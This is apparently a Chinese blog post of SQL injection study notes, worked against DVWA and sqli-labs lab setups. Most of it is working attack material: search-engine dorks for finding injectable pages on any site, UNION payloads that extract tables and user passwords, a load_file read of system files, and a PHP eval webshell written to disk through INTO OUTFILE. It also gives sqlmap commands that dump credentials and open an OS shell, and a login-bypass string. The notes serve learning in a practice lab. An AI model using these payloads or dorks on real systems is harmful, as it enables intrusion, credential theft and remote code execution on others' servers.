需找sql注入点
1\无特定目标
inurl:.php?id=

2\有特定目标:
inurl:.php?id= site:target.com

3\工具爬取
spider,对搜索引擎和目标网站的链接进行爬取

手工简单识别:
and 1=1 / and 1=2
and '1'='1 / and '1' = '2
and 1 like 1 / and 1 like 2

工具识别:
sqlmap -m filename (filename中保存检测目标)
sqlmap --crawl(sqlmap对目标网站进行爬取,然后依次进行测试)

一、环境搭建
1、安装wamp
2、安装sqli-labs
3、配置数据库信息
编辑:db-creds.inc
方法二
使用docker部署
docker search sqli-labs 查找sqli-labs
docker pull acgpiano/sqli-labs 拉取sqli-labs
docker images 查看本地已有的镜像
docker run -dt --name sqli -p 80:80 --rm acgpiano/sqli-labs 运行sqli
-dt 后台运行
--name 将命名为sqli
-p 将后台的80映射为本地的80
--rm 在关闭dock后自动删除相应文件,以释放资源

SQL语言
SQL 全称 结构化查询语言 StructuredQueryLanguage,最早是IBM开发的查询语言

sql语句
select version;
select id from jobs where id=1;
select id from jobs where id=1 union select version();
select id,location from jobs where id=1 union select 1,version(); union拼接的前后两条语句的字段需要一致,否则报错,前面是2个字段,所以后面也要为两个字段,所以加了1

代码
$id=$_GET['id'];
$sql="SELECT*FROM users WHERE id='$id' limit 0,1";
limit 0,1 是从第0条返回1条记录
注入
http://test.com/index.php?id=1‘ UNION SELCET 1,version()#
’单引号闭合掉参数
#号代表注释掉后面的内容
%23是一种编码代表了#

Mysql函数
https://dev.mysql.com/doc/refman/5.7/en/dynindex-function.html

SQLmap使用
1、针对url
使用python sqlmap -u “url”
2、针对post表单
1)使用python sqlmap -r “文件名” (将post请求保存成文件.txt)
2) 使用python sqlmap -u “url” --data=“post参数”

mysql三种闭合方式
无闭合符号


1 or 1=1
1’ or ‘1=1
1” or “1=1

注释符号闭合
#
--空格
//

使用order by确定字段数
利用二分法确定有多少个字段,当不报错说明存在几个字段
1' order by 5 --空格
1' order by 3 --空格

在确定了有多少字段后,再进一步确定版本信息、目录信息等
可以使用union
例如,存在2个字段columns
1' union select @@version,@@datadir--空格
当少一个columns时会报错,“The used SELECT statements have a different number of columns”
sql注入学习笔记

mysql中常用的函数
@@version 显示版本
@@datadir 显示当前目录
user() 查询用户名
database() 查询数据库名
information_schema.tables 查询数据库中的表名
e.g.
id=1' union select 1,table_name from information_schema.tables where table_schema='dvwa'--
sql注入学习笔记

dvwa.users 查询列名
e.g.
id=1' union select 1,column_name from information_schema.columns where table_name='users' --
sql注入学习笔记

查询用户名和密码
id=1' union select user,password from users --
sql注入学习笔记

PHP中文件读取函数
load_file()
id=1' union select 1,load_file(c:\windows\win.ini')--

利用sql注入写入webshell
写入步骤
1 获取物理路径
通过数据库异常报错获取物理路径
2 上传写入webshell

一句话
<?php
@eval($_GET['cmd']);

into outfile 写入文件
提示报错:配置设置无法写入:The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
e.g.
http://10.211.55.7/dvwa/vulnerabilities/sqli/
?id=1' union select "<?php @eval($_GET['cmd']);?>","webshell" into outfile 'C:\phpStudy\PHPTutorial\WWW\DVWA\cmd.php' --
&Submit=Submit#
sql注入学习笔记
sql注入学习笔记
代码执行
http://ip/dvwa/cmd.PHP?cmd=system(dir);

利用SQLmap自动化
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id"
url中包含了id和submit,-p 指定对id进行***
--cookie 在登录状态下进行sql注入
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4"
sql注入学习笔记

--current-user 获取当前用户
--current-db 获取当前db
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4" --current-user --current-db
sql注入学习笔记

--tables 查询表
-D +数据库 在该数据库中查询表
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4" --current-user -D dvwa --tables

sql注入学习笔记

-T +表 查询该表下
--columns 查询字段名
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4" --current-user -D dvwa -T users --columns
sql注入学习笔记

查询用户名和mim
--dump 查询用户名密码
-C "user,password" 查询columns中的值
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4" --current-user -D dvwa -T users -C "user,password" --dump
sql注入学习笔记
sql注入学习笔记

利用sqlmap上传shell
--OS-shell
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4" --current-user -D dvwa -T users -C "user,password" --os-shell

万能密码
‘ --
中间有空格
where username='admin' and password='admin'
sql语句变了
where username='admin' --' and password = ''
如果表中有admin的用户名则有返回数据

寻找SQL注入点
无特定目标
inurl:.php?id=
有特定目标:
inurl:.php?id= site:target.com
工具爬取
spider,对搜索引擎和目标网站的链接进行爬取

注入识别
手工简单识别
'
and 1=1 / and 1=2
and '1'='1 / and '1'='2
and 1 like 1 / and 1 like 2

工具识别:
sqlmap -m fliename (fliename 中保存检测目标)
sqlmap --crawl (sqlmap对目标网站进行爬取,然后依次进行测试)

高级识别:
    扩展识别广度和深度:
        sqlmap --level 增加测试级别,对header中相关参数也进行测试
        sqlmap -r filename (filename中为网站请求数据)
    利用工具提高识别效率:
        Burpsuite + Sqlamp
        burpsuite拦截所有浏览器访问提交的数据
        burpsuite扩展插件,直接调用sqlmap进行测试

        一些tip
        可以在参数后键入 “*” 来确定想要测试的参数
        可能出现注入的点:新闻、登录、搜索、留言。。。

        使用limit group等

group_concat() 连接查询的结果

posted on 2019-12-16 14:58  深海收破烂  阅读(180)  评论(0编辑  收藏  举报